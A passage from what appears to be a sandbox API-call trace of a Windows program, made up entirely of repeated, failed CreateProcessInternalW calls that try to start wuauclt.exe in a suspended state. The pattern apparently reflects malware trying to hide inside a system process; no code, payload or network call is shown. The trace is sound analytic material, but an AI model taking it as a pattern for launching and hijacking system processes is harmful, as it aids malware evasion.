bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.600] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.601] CreateProcessInternalW (in: hUserToken=0x0, 